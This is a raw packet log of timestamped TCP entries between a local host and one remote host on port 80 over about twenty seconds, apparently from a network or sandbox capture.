Sep 1, 2024 23:57:56.450968981 CEST	49787	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:56.455818892 CEST	80	49787	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:56.543751001 CEST	80	49786	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:56.584043980 CEST	49786	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:56.668736935 CEST	80	49786	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:56.668828011 CEST	80	49787	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:56.716444969 CEST	49787	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:56.717320919 CEST	49786	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:56.793196917 CEST	80	49787	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:56.841451883 CEST	49787	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:56.916512966 CEST	49786	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:56.916779041 CEST	49787	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:56.917614937 CEST	49788	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:56.921699047 CEST	80	49786	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:56.921868086 CEST	49786	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:56.922022104 CEST	80	49787	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:56.922068119 CEST	49787	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:56.922410965 CEST	80	49788	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:56.922487020 CEST	49788	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:56.922597885 CEST	49788	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:56.927364111 CEST	80	49788	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:57.279102087 CEST	49788	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:57.445524931 CEST	80	49788	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:57.496474028 CEST	80	49788	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:57.544605970 CEST	49788	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:57.621265888 CEST	80	49788	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:57.669590950 CEST	49788	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:57.887936115 CEST	49789	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:57.892811060 CEST	80	49789	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:57.893522978 CEST	49789	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:57.895658016 CEST	49789	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:57.900538921 CEST	80	49789	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:58.247906923 CEST	49789	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:58.252815008 CEST	80	49789	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:58.465549946 CEST	80	49789	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:58.513721943 CEST	49789	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:58.589111090 CEST	80	49789	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:58.638330936 CEST	49789	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:58.713548899 CEST	49789	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:58.713852882 CEST	49790	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:58.718592882 CEST	80	49789	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:58.718622923 CEST	80	49790	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:58.718681097 CEST	49789	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:58.718718052 CEST	49790	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:58.718838930 CEST	49790	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:58.723535061 CEST	80	49790	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:59.075920105 CEST	49790	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:59.080698967 CEST	80	49790	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:59.294598103 CEST	80	49790	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:59.341430902 CEST	49790	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:59.421561956 CEST	80	49790	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:59.466460943 CEST	49790	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:59.541871071 CEST	49790	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:59.542097092 CEST	49791	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:59.546886921 CEST	80	49791	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:59.547008038 CEST	49791	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:59.547100067 CEST	49791	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:59.547274113 CEST	80	49790	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:59.547333002 CEST	49790	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:59.551843882 CEST	80	49791	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:59.904052973 CEST	49791	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:59.909001112 CEST	80	49791	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:00.119067907 CEST	80	49791	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:00.169611931 CEST	49791	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:00.244626045 CEST	80	49791	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:00.294606924 CEST	49791	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:00.373859882 CEST	49791	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:00.374196053 CEST	49792	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:00.379055023 CEST	80	49792	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:00.379127026 CEST	80	49791	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:00.379128933 CEST	49792	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:00.379177094 CEST	49791	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:00.379268885 CEST	49792	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:00.384006977 CEST	80	49792	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:00.732697010 CEST	49792	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:00.738420010 CEST	80	49792	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:00.952847004 CEST	80	49792	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:00.998435974 CEST	49792	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:01.081033945 CEST	80	49792	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:01.122719049 CEST	49792	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:01.196748018 CEST	49792	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:01.197001934 CEST	49793	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:01.201855898 CEST	80	49793	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:01.201872110 CEST	80	49792	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:01.201941967 CEST	49792	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:01.201958895 CEST	49793	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:01.202080965 CEST	49793	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:01.206864119 CEST	80	49793	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:01.560357094 CEST	49793	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:01.565179110 CEST	80	49793	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:01.670336962 CEST	49794	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:01.670608997 CEST	49793	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:01.675231934 CEST	80	49794	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:01.675296068 CEST	49794	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:01.675415039 CEST	49794	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:01.675649881 CEST	80	49793	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:01.675698042 CEST	49793	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:01.680128098 CEST	80	49794	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:01.791085005 CEST	49795	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:01.795954943 CEST	80	49795	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:01.796139956 CEST	49795	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:01.796278954 CEST	49795	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:01.801038027 CEST	80	49795	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:02.029045105 CEST	49794	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:02.035203934 CEST	80	49794	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:02.035295010 CEST	80	49794	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:02.154061079 CEST	49795	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:02.159015894 CEST	80	49795	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:02.252717018 CEST	80	49794	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:02.294677019 CEST	49794	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:02.377080917 CEST	80	49794	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:02.380374908 CEST	80	49795	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:02.419575930 CEST	49794	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:02.435230970 CEST	49795	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:02.506520033 CEST	80	49795	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:02.560230017 CEST	49795	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:02.614887953 CEST	80	49788	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:02.614970922 CEST	49788	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:02.620466948 CEST	49794	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:02.620774031 CEST	49796	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:02.620831013 CEST	49795	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:02.625587940 CEST	80	49796	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:02.625598907 CEST	80	49794	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:02.625684977 CEST	49794	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:02.625699997 CEST	49796	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:02.625823021 CEST	49796	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:02.626022100 CEST	80	49795	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:02.626065016 CEST	49795	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:02.630614996 CEST	80	49796	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:02.982331038 CEST	49796	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:02.987232924 CEST	80	49796	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:03.207356930 CEST	80	49796	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:03.247843981 CEST	49796	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:03.334201097 CEST	80	49796	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:03.388338089 CEST	49796	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:03.533618927 CEST	49797	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:03.563015938 CEST	80	49796	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:03.563103914 CEST	49796	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:03.564977884 CEST	80	49797	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:03.565062046 CEST	49797	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:03.578908920 CEST	49797	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:03.585366964 CEST	80	49797	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:03.935328007 CEST	49797	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:03.940463066 CEST	80	49797	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:04.144042015 CEST	80	49797	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:04.185220003 CEST	49797	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:04.268944025 CEST	80	49797	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:04.310625076 CEST	49797	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:04.383186102 CEST	49797	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:04.383326054 CEST	49798	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:04.388256073 CEST	80	49798	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:04.388380051 CEST	49798	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:04.388501883 CEST	49798	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:04.388591051 CEST	80	49797	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:04.388643980 CEST	49797	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:04.393326044 CEST	80	49798	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:04.747786999 CEST	49798	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:04.752593994 CEST	80	49798	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:04.968314886 CEST	80	49798	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:05.013382912 CEST	49798	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:05.253565073 CEST	80	49798	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:05.294624090 CEST	49798	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:05.366535902 CEST	49796	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:05.369632959 CEST	49798	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:05.369828939 CEST	49799	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:05.374653101 CEST	80	49799	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:05.374670982 CEST	80	49798	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:05.374752045 CEST	49798	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:05.374757051 CEST	49799	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:05.374849081 CEST	49799	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:05.379626989 CEST	80	49799	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:05.732269049 CEST	49799	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:05.737904072 CEST	80	49799	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:05.976927042 CEST	80	49799	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:06.029186010 CEST	49799	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:06.106657028 CEST	80	49799	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:06.154097080 CEST	49799	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:06.228735924 CEST	49799	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:06.228982925 CEST	49800	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:06.235198021 CEST	80	49800	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:06.235271931 CEST	49800	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:06.235399008 CEST	49800	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:06.235479116 CEST	80	49799	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:06.235532045 CEST	49799	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:06.240309000 CEST	80	49800	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:06.591975927 CEST	49800	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:06.597330093 CEST	80	49800	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:06.835268974 CEST	80	49800	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:06.888334036 CEST	49800	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:06.936796904 CEST	80	49800	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:06.982203007 CEST	49800	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:07.056195974 CEST	49800	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:07.056579113 CEST	49801	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:07.061378956 CEST	80	49800	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:07.061398983 CEST	80	49801	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:07.061435938 CEST	49800	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:07.061489105 CEST	49801	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:07.061640024 CEST	49801	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:07.066397905 CEST	80	49801	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:07.388942957 CEST	49801	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:07.389244080 CEST	49802	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:07.394825935 CEST	80	49802	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:07.394921064 CEST	49802	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:07.395036936 CEST	49802	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:07.400441885 CEST	80	49802	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:07.442013979 CEST	80	49801	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:07.479444981 CEST	80	49801	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:07.479686022 CEST	49801	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:07.511063099 CEST	49803	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:07.518129110 CEST	80	49803	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:07.518321991 CEST	49803	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:07.518452883 CEST	49803	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:07.523200035 CEST	80	49803	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:07.747971058 CEST	49802	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:07.752974987 CEST	80	49802	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:07.753204107 CEST	80	49802	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:07.872924089 CEST	49803	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:07.878179073 CEST	80	49803	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:07.976702929 CEST	80	49802	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:08.029123068 CEST	49802	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:08.093266964 CEST	80	49803	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:08.104876995 CEST	80	49802	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:08.138334036 CEST	49803	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:08.153974056 CEST	49802	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:08.221260071 CEST	80	49803	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:08.263334036 CEST	49803	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:08.495351076 CEST	49802	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:08.495434046 CEST	49803	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:08.496920109 CEST	49804	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:08.500490904 CEST	80	49802	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:08.500550985 CEST	49802	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:08.500761986 CEST	80	49803	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:08.500808954 CEST	49803	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:08.502996922 CEST	80	49804	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:08.503065109 CEST	49804	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:08.504869938 CEST	49804	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:08.511514902 CEST	80	49804	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:08.857501030 CEST	49804	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:08.926094055 CEST	80	49804	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:09.105931044 CEST	80	49804	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:09.154050112 CEST	49804	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:09.234352112 CEST	80	49804	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:09.279069901 CEST	49804	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:09.354036093 CEST	49804	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:09.356144905 CEST	49805	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:09.359175920 CEST	80	49804	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:09.359277010 CEST	49804	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:09.361028910 CEST	80	49805	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:09.361124039 CEST	49805	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:09.361265898 CEST	49805	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:09.366074085 CEST	80	49805	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:09.716531038 CEST	49805	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:09.726771116 CEST	80	49805	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:09.935734987 CEST	80	49805	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:09.982223988 CEST	49805	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:10.060681105 CEST	80	49805	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:10.107131958 CEST	49805	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:10.181508064 CEST	49805	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:10.181798935 CEST	49806	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:10.186582088 CEST	80	49805	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:10.186597109 CEST	80	49806	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:10.186661959 CEST	49805	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:10.186693907 CEST	49806	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:10.186845064 CEST	49806	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:10.191571951 CEST	80	49806	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:10.544737101 CEST	49806	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:10.553374052 CEST	80	49806	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:10.762233019 CEST	80	49806	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:10.810241938 CEST	49806	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:10.888777971 CEST	80	49806	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:10.935194969 CEST	49806	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:11.048911095 CEST	49807	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:11.055069923 CEST	80	49807	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:11.055131912 CEST	49807	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:11.055233002 CEST	49807	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:11.060002089 CEST	80	49807	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:11.404079914 CEST	49807	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:11.409043074 CEST	80	49807	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:11.632344007 CEST	80	49807	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:11.685242891 CEST	49807	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:11.762254953 CEST	80	49807	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:11.810229063 CEST	49807	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:11.884057045 CEST	49807	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:11.884298086 CEST	49808	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:11.889233112 CEST	80	49807	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:11.889344931 CEST	80	49808	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:11.889435053 CEST	49807	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:11.889666080 CEST	49808	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:11.889666080 CEST	49808	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:11.894423962 CEST	80	49808	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:12.247811079 CEST	49808	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:12.252798080 CEST	80	49808	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:12.466377974 CEST	80	49808	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:12.513350010 CEST	49808	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:12.588903904 CEST	80	49808	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:12.638389111 CEST	49808	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:12.714684010 CEST	49808	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:12.714922905 CEST	49809	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:12.719738007 CEST	80	49809	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:12.719803095 CEST	49809	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:12.719888926 CEST	80	49808	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:12.719897032 CEST	49809	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:12.719939947 CEST	49808	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:12.724625111 CEST	80	49809	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:13.075922012 CEST	49809	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:13.081018925 CEST	80	49809	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:13.123410940 CEST	49809	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:13.123455048 CEST	49810	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:13.128434896 CEST	80	49810	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:13.128607988 CEST	49810	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:13.128745079 CEST	49810	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:13.133533955 CEST	80	49810	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:13.150980949 CEST	80	49809	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:13.151029110 CEST	49809	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:13.243324041 CEST	49811	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:13.248200893 CEST	80	49811	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:13.248265028 CEST	49811	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:13.248379946 CEST	49811	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:13.253171921 CEST	80	49811	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:13.482168913 CEST	49810	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:13.487544060 CEST	80	49810	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:13.487555027 CEST	80	49810	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:13.607203007 CEST	49811	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:13.612039089 CEST	80	49811	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:13.708430052 CEST	80	49810	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:13.763345003 CEST	49810	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:13.834485054 CEST	80	49810	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:13.849601984 CEST	80	49811	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:13.888369083 CEST	49810	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:13.903994083 CEST	49811	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:13.979187012 CEST	80	49811	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:14.028959990 CEST	49811	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:14.101707935 CEST	49806	80	192.168.2.5	94.158.244.70
